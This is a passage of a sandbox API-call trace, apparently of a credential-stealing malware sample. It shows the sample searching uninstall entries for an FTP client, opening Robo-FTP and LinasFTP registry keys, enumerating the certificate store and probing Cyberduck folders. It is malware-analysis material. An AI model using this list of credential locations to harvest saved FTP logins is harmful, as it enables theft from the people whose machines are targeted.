(lpFirst="MsiExec.exe /X{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}", lpSrch="FTPNow") returned 0x0 [0079.640] StrStrIA (lpFirst="MsiExec.exe /X{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}", lpSrch="FTP Now") returned 0x0 [0079.640] StrStrIA (lpFirst="MsiExec.exe /X{90140000-0015-0409-0000-0000000FF1CE}", lpSrch="FTPNow") returned 0x0 [0079.640] StrStrIA (lpFirst="MsiExec.exe /X{90140000-0015-0409-0000-0000000FF1CE}", lpSrch="FTP Now") returned 0x0 [0079.640] StrStrIA (lpFirst="MsiExec.exe /X{90140000-0016-0409-0000-0000000FF1CE}", lpSrch="FTPNow") returned 0x0 [0079.640] StrStrIA (lpFirst="MsiExec.exe /X{90140000-0016-0409-0000-0000000FF1CE}", lpSrch="FTP Now") returned 0x0 [0079.640] StrStrIA (lpFirst="MsiExec.exe /X{90140000-0018-0409-0000-0000000FF1CE}", lpSrch="FTPNow") returned 0x0 [0079.640] StrStrIA (lpFirst="MsiExec.exe /X{90140000-0018-0409-0000-0000000FF1CE}", lpSrch="FTP Now") returned 0x0 [0079.640] StrStrIA (lpFirst="MsiExec.exe /X{90140000-0019-0409-0000-0000000FF1CE}", lpSrch="FTPNow") returned 0x0 [0079.640] StrStrIA (lpFirst="MsiExec.exe /X{90140000-0019-0409-0000-0000000FF1CE}", lpSrch="FTP Now") returned 0x0 [0079.640] StrStrIA (lpFirst="MsiExec.exe /X{90140000-001A-0409-0000-0000000FF1CE}", lpSrch="FTPNow") returned 0x0 [0079.640] StrStrIA (lpFirst="MsiExec.exe /X{90140000-001A-0409-0000-0000000FF1CE}", lpSrch="FTP Now") returned 0x0 [0079.640] StrStrIA (lpFirst="MsiExec.exe /X{90140000-001B-0409-0000-0000000FF1CE}", lpSrch="FTPNow") returned 0x0 [0079.640] StrStrIA (lpFirst="MsiExec.exe /X{90140000-001B-0409-0000-0000000FF1CE}", lpSrch="FTP Now") returned 0x0 [0079.640] StrStrIA (lpFirst="MsiExec.exe /X{90140000-001F-0409-0000-0000000FF1CE}", lpSrch="FTPNow") returned 0x0 [0079.640] StrStrIA (lpFirst="MsiExec.exe /X{90140000-001F-0409-0000-0000000FF1CE}", lpSrch="FTP Now") returned 0x0 [0079.640] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-001F-0409-0000-0000000FF1CE}\" \"{99ACCA38-6DD3-48A8-96AE-A283C9759279}\" \"1033\" \"0\"", lpSrch="FTPNow") returned 0x0 [0079.640] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-001F-0409-0000-0000000FF1CE}\" \"{99ACCA38-6DD3-48A8-96AE-A283C9759279}\" \"1033\" \"0\"", lpSrch="FTP Now") returned 0x0 [0079.641] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-001F-0409-0000-0000000FF1CE}\" \"{99ACCA38-6DD3-48A8-96AE-A283C9759279}\" \"1033\" \"0\"", lpSrch="FTPNow") returned 0x0 [0079.641] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-001F-0409-0000-0000000FF1CE}\" \"{99ACCA38-6DD3-48A8-96AE-A283C9759279}\" \"1033\" \"0\"", lpSrch="FTP Now") returned 0x0 [0079.641] StrStrIA (lpFirst="MsiExec.exe /X{90140000-001F-040C-0000-0000000FF1CE}", lpSrch="FTPNow") returned 0x0 [0079.641] StrStrIA (lpFirst="MsiExec.exe /X{90140000-001F-040C-0000-0000000FF1CE}", lpSrch="FTP Now") returned 0x0 [0079.641] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-001F-040C-0000-0000000FF1CE}\" \"{46298F6A-1E7E-4D4A-B5F5-106A4F0E48C6}\" \"1033\" \"0\"", lpSrch="FTPNow") returned 0x0 [0079.641] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-001F-040C-0000-0000000FF1CE}\" \"{46298F6A-1E7E-4D4A-B5F5-106A4F0E48C6}\" \"1033\" \"0\"", lpSrch="FTP Now") returned 0x0 [0079.641] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-001F-040C-0000-0000000FF1CE}\" \"{46298F6A-1E7E-4D4A-B5F5-106A4F0E48C6}\" \"1033\" \"0\"", lpSrch="FTPNow") returned 0x0 [0079.641] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-001F-040C-0000-0000000FF1CE}\" \"{46298F6A-1E7E-4D4A-B5F5-106A4F0E48C6}\" \"1033\" \"0\"", lpSrch="FTP Now") returned 0x0 [0079.641] StrStrIA (lpFirst="MsiExec.exe /X{90140000-001F-0C0A-0000-0000000FF1CE}", lpSrch="FTPNow") returned 0x0 [0079.641] StrStrIA (lpFirst="MsiExec.exe /X{90140000-001F-0C0A-0000-0000000FF1CE}", lpSrch="FTP Now") returned 0x0 [0079.641] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-001F-0C0A-0000-0000000FF1CE}\" \"{DEA87BE2-FFCC-4F33-9946-FCBE55A1E998}\" \"1033\" \"0\"", lpSrch="FTPNow") returned 0x0 [0079.641] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-001F-0C0A-0000-0000000FF1CE}\" \"{DEA87BE2-FFCC-4F33-9946-FCBE55A1E998}\" \"1033\" \"0\"", lpSrch="FTP Now") returned 0x0 [0079.641] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-001F-0C0A-0000-0000000FF1CE}\" \"{DEA87BE2-FFCC-4F33-9946-FCBE55A1E998}\" \"1033\" \"0\"", lpSrch="FTPNow") returned 0x0 [0079.641] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-001F-0C0A-0000-0000000FF1CE}\" \"{DEA87BE2-FFCC-4F33-9946-FCBE55A1E998}\" \"1033\" \"0\"", lpSrch="FTP Now") returned 0x0 [0079.641] StrStrIA (lpFirst="MsiExec.exe /X{90140000-002C-0409-0000-0000000FF1CE}", lpSrch="FTPNow") returned 0x0 [0079.641] StrStrIA (lpFirst="MsiExec.exe /X{90140000-002C-0409-0000-0000000FF1CE}", lpSrch="FTP Now") returned 0x0 [0079.642] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-002C-0409-0000-0000000FF1CE}\" \"{7CA93DF4-8902-449E-A42E-4C5923CFBDE3}\" \"1033\" \"0\"", lpSrch="FTPNow") returned 0x0 [0079.642] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-002C-0409-0000-0000000FF1CE}\" \"{7CA93DF4-8902-449E-A42E-4C5923CFBDE3}\" \"1033\" \"0\"", lpSrch="FTP Now") returned 0x0 [0079.642] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-002C-0409-0000-0000000FF1CE}\" \"{7CA93DF4-8902-449E-A42E-4C5923CFBDE3}\" \"1033\" \"0\"", lpSrch="FTPNow") returned 0x0 [0079.642] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-002C-0409-0000-0000000FF1CE}\" \"{7CA93DF4-8902-449E-A42E-4C5923CFBDE3}\" \"1033\" \"0\"", lpSrch="FTP Now") returned 0x0 [0079.642] StrStrIA (lpFirst="MsiExec.exe /X{90140000-0044-0409-0000-0000000FF1CE}", lpSrch="FTPNow") returned 0x0 [0079.642] StrStrIA (lpFirst="MsiExec.exe /X{90140000-0044-0409-0000-0000000FF1CE}", lpSrch="FTP Now") returned 0x0 [0079.642] StrStrIA (lpFirst="MsiExec.exe /X{90140000-0054-0409-0000-0000000FF1CE}", lpSrch="FTPNow") returned 0x0 [0079.642] StrStrIA (lpFirst="MsiExec.exe /X{90140000-0054-0409-0000-0000000FF1CE}", lpSrch="FTP Now") returned 0x0 [0079.642] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-0054-0409-0000-0000000FF1CE}\" \"{CDC4310F-8189-485F-B47D-D972217CE173}\" \"1033\" \"0\"", lpSrch="FTPNow") returned 0x0 [0079.642] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-0054-0409-0000-0000000FF1CE}\" \"{CDC4310F-8189-485F-B47D-D972217CE173}\" \"1033\" \"0\"", lpSrch="FTP Now") returned 0x0 [0079.642] StrStrIA (lpFirst="MsiExec.exe /X{90140000-006E-0409-0000-0000000FF1CE}", lpSrch="FTPNow") returned 0x0 [0079.642] StrStrIA (lpFirst="MsiExec.exe /X{90140000-006E-0409-0000-0000000FF1CE}", lpSrch="FTP Now") returned 0x0 [0079.642] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-006E-0409-0000-0000000FF1CE}\" \"{4560037C-E356-444A-A015-D21F487D809E}\" \"1033\" \"0\"", lpSrch="FTPNow") returned 0x0 [0079.642] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-006E-0409-0000-0000000FF1CE}\" \"{4560037C-E356-444A-A015-D21F487D809E}\" \"1033\" \"0\"", lpSrch="FTP Now") returned 0x0 [0079.642] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-006E-0409-0000-0000000FF1CE}\" \"{4560037C-E356-444A-A015-D21F487D809E}\" \"1033\" \"0\"", lpSrch="FTPNow") returned 0x0 [0079.642] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-006E-0409-0000-0000000FF1CE}\" \"{4560037C-E356-444A-A015-D21F487D809E}\" \"1033\" \"0\"", lpSrch="FTP Now") returned 0x0 [0079.642] StrStrIA (lpFirst="MsiExec.exe /X{90140000-00A1-0409-0000-0000000FF1CE}", lpSrch="FTPNow") returned 0x0 [0079.643] StrStrIA (lpFirst="MsiExec.exe /X{90140000-00A1-0409-0000-0000000FF1CE}", lpSrch="FTP Now") returned 0x0 [0079.643] StrStrIA (lpFirst="MsiExec.exe /X{90140000-00B4-0409-0000-0000000FF1CE}", lpSrch="FTPNow") returned 0x0 [0079.643] StrStrIA (lpFirst="MsiExec.exe /X{90140000-00B4-0409-0000-0000000FF1CE}", lpSrch="FTP Now") returned 0x0 [0079.643] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-00B4-0409-0000-0000000FF1CE}\" \"{18A0C151-8F8A-4B68-A960-60C464B94329}\" \"1033\" \"0\"", lpSrch="FTPNow") returned 0x0 [0079.643] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-00B4-0409-0000-0000000FF1CE}\" \"{18A0C151-8F8A-4B68-A960-60C464B94329}\" \"1033\" \"0\"", lpSrch="FTP Now") returned 0x0 [0079.643] StrStrIA (lpFirst="MsiExec.exe /X{90140000-00BA-0409-0000-0000000FF1CE}", lpSrch="FTPNow") returned 0x0 [0079.643] StrStrIA (lpFirst="MsiExec.exe /X{90140000-00BA-0409-0000-0000000FF1CE}", lpSrch="FTP Now") returned 0x0 [0079.643] StrStrIA (lpFirst="MsiExec.exe /X{90140000-0115-0409-0000-0000000FF1CE}", lpSrch="FTPNow") returned 0x0 [0079.643] StrStrIA (lpFirst="MsiExec.exe /X{90140000-0115-0409-0000-0000000FF1CE}", lpSrch="FTP Now") returned 0x0 [0079.643] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-0115-0409-0000-0000000FF1CE}\" \"{4560037C-E356-444A-A015-D21F487D809E}\" \"1033\" \"0\"", lpSrch="FTPNow") returned 0x0 [0079.643] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-0115-0409-0000-0000000FF1CE}\" \"{4560037C-E356-444A-A015-D21F487D809E}\" \"1033\" \"0\"", lpSrch="FTP Now") returned 0x0 [0079.643] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-0115-0409-0000-0000000FF1CE}\" \"{4560037C-E356-444A-A015-D21F487D809E}\" \"1033\" \"0\"", lpSrch="FTPNow") returned 0x0 [0079.643] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-0115-0409-0000-0000000FF1CE}\" \"{4560037C-E356-444A-A015-D21F487D809E}\" \"1033\" \"0\"", lpSrch="FTP Now") returned 0x0 [0079.643] StrStrIA (lpFirst="MsiExec.exe /X{90140000-0117-0409-0000-0000000FF1CE}", lpSrch="FTPNow") returned 0x0 [0079.643] StrStrIA (lpFirst="MsiExec.exe /X{90140000-0117-0409-0000-0000000FF1CE}", lpSrch="FTP Now") returned 0x0 [0079.643] StrStrIA (lpFirst="MsiExec.exe /X{91140000-0011-0000-0000-0000000FF1CE}", lpSrch="FTPNow") returned 0x0 [0079.644] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.644] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.644] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed0*=0x10, cb=0x4, pcbWritten=0x12feac | out: pcbWritten=0x12feac*=0x4) returned 0x0 [0079.644] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.644] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.644] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0079.644] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.645] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.645] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x8) returned 0x0 [0079.645] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed0*=0x0, cb=0x4, pcbWritten=0x12feac | out: pcbWritten=0x12feac*=0x4) returned 0x0 [0079.645] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee4*=0x47, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0079.645] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee8*=0x0, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0079.645] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Robo-FTP 3.7\\FTPServers", phkResult=0x12fed4 | out: phkResult=0x12fed4*=0x0) returned 0x2 [0079.645] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Robo-FTP 3.7\\FTPServers", phkResult=0x12fed4 | out: phkResult=0x12fed4*=0x0) returned 0x2 [0079.645] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Robo-FTP 3.7\\Scripts", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe88 | out: phkResult=0x12fe88*=0x0) returned 0x2 [0079.645] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Robo-FTP 3.7\\Scripts", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe5c | out: phkResult=0x12fe5c*=0x0) returned 0x2 [0079.645] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Robo-FTP 3.7\\Scripts", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe30 | out: phkResult=0x12fe30*=0x0) returned 0x2 [0079.645] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Robo-FTP 3.7\\Scripts", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe88 | out: phkResult=0x12fe88*=0x0) returned 0x2 [0079.645] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Robo-FTP 3.7\\Scripts", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe5c | out: phkResult=0x12fe5c*=0x0) returned 0x2 [0079.645] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Robo-FTP 3.7\\Scripts", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe30 | out: phkResult=0x12fe30*=0x0) returned 0x2 [0079.645] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.645] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.645] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed4*=0x10, cb=0x4, pcbWritten=0x12feb0 | out: pcbWritten=0x12feb0*=0x4) returned 0x0 [0079.645] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.645] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.645] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0079.645] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.645] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.646] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fe80 | out: pcbWritten=0x12fe80*=0x8) returned 0x0 [0079.646] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fea8*=0x0, cb=0x4, pcbWritten=0x12fe84 | out: pcbWritten=0x12fe84*=0x4) returned 0x0 [0079.646] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12febc*=0x48, cb=0x2, pcbWritten=0x12fe80 | out: pcbWritten=0x12fe80*=0x2) returned 0x0 [0079.646] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fec0*=0x0, cb=0x2, pcbWritten=0x12fe80 | out: pcbWritten=0x12fe80*=0x2) returned 0x0 [0079.646] CertOpenSystemStoreA (hProv=0x0, szSubsystemProtocol="MY") returned 0x666968 [0079.659] CertEnumCertificatesInStore (hCertStore=0x666968, pPrevCertContext=0x0) returned 0x0 [0079.659] CertCloseStore (hCertStore=0x666968, dwFlags=0x0) returned 1 [0079.660] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.660] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.660] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12feac*=0x10, cb=0x4, pcbWritten=0x12fe88 | out: pcbWritten=0x12fe88*=0x4) returned 0x0 [0079.660] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.660] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.660] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0079.660] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.660] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.660] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x8) returned 0x0 [0079.660] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed0*=0x0, cb=0x4, pcbWritten=0x12feac | out: pcbWritten=0x12feac*=0x4) returned 0x0 [0079.660] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee4*=0x49, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0079.660] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee8*=0x0, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0079.660] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\LinasFTP\\Site Manager", phkResult=0x12fed8 | out: phkResult=0x12fed8*=0x0) returned 0x2 [0079.660] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.660] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.660] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed4*=0x10, cb=0x4, pcbWritten=0x12feb0 | out: pcbWritten=0x12feb0*=0x4) returned 0x0 [0079.660] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.661] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.661] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0079.661] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.661] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.661] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x8) returned 0x0 [0079.661] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed0*=0x0, cb=0x4, pcbWritten=0x12feac | out: pcbWritten=0x12feac*=0x4) returned 0x0 [0079.661] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee4*=0x4a, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0079.661] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee8*=0x0, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0079.661] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.661] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 0x0 [0079.661] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0079.661] lstrlenA (lpString="\\Cyberduck") returned 10 [0079.661] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x647ab8 [0079.661] lstrcpyA (in: lpString1=0x647ab8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0079.661] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\Cyberduck" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Cyberduck") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Cyberduck" [0079.661] LocalFree (hMem=0x66b940) returned 0x0 [0079.661] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Cyberduck") returned 42 [0079.661] lstrlenA (lpString="\\*.*") returned 4 [0079.661] LocalAlloc (uFlags=0x40, uBytes=0xaf) returned 0x647b70 [0079.661] lstrcpyA (in: lpString1=0x647b70, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Cyberduck" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Cyberduck") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Cyberduck" [0079.661] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Cyberduck", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Cyberduck\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Cyberduck\\*.*" [0079.661] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Cyberduck\\*.*", lpFindFileData=0x12fd7e | out: lpFindFileData=0x12fd7e) returned 0xffffffff [0079.661] LocalFree (hMem=0x647b70) returned 0x0 [0079.661] LocalFree (hMem=0x647ab8) returned 0x0 [0079.661] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.661] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\ProgramData") returned 0x0 [0079.661] lstrlenA (lpString="C:\\ProgramData") returned 14 [0079.662] lstrlenA (lpString="\\Cyberduck") returned 10 [0079.662] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x652d58 [0079.662] lstrcpyA (in: lpString1=0x652d58, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0079.662] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\Cyberduck" | out: lpString1="C:\\ProgramData\\Cyberduck") returned="C:\\ProgramData\\Cyberduck" [0079.662] LocalFree (hMem=0x66b940) returned 0x0 [0079.662] lstrlenA (lpString="C:\\ProgramData\\Cyberduck") returned 24 [0079.662] lstrlenA (lpString="\\*.*") returned 4 [0079.662] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x652b60 [0079.662] lstrcpyA (in: lpString1=0x652b60, lpString2="C:\\ProgramData\\Cyberduck" | out: lpString1="C:\\ProgramData\\Cyberduck") returned="C:\\ProgramData\\Cyberduck" [0079.662] lstrcatA (in: lpString1="C:\\ProgramData\\Cyberduck", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\Cyberduck\\*.*") returned="C:\\ProgramData\\Cyberduck\\*.*" [0079.662] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Cyberduck\\*.*", lpFindFileData=0x12fd7e | out: lpFindFileData=0x12fd7e) returned 0xffffffff [0079.662] LocalFree (hMem=0x652b60) returned 0x0 [0079.662] LocalFree (hMem=0x652d58) returned 0x0 [0079.662] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.662] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Local") returned 0x0 [0079.662] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 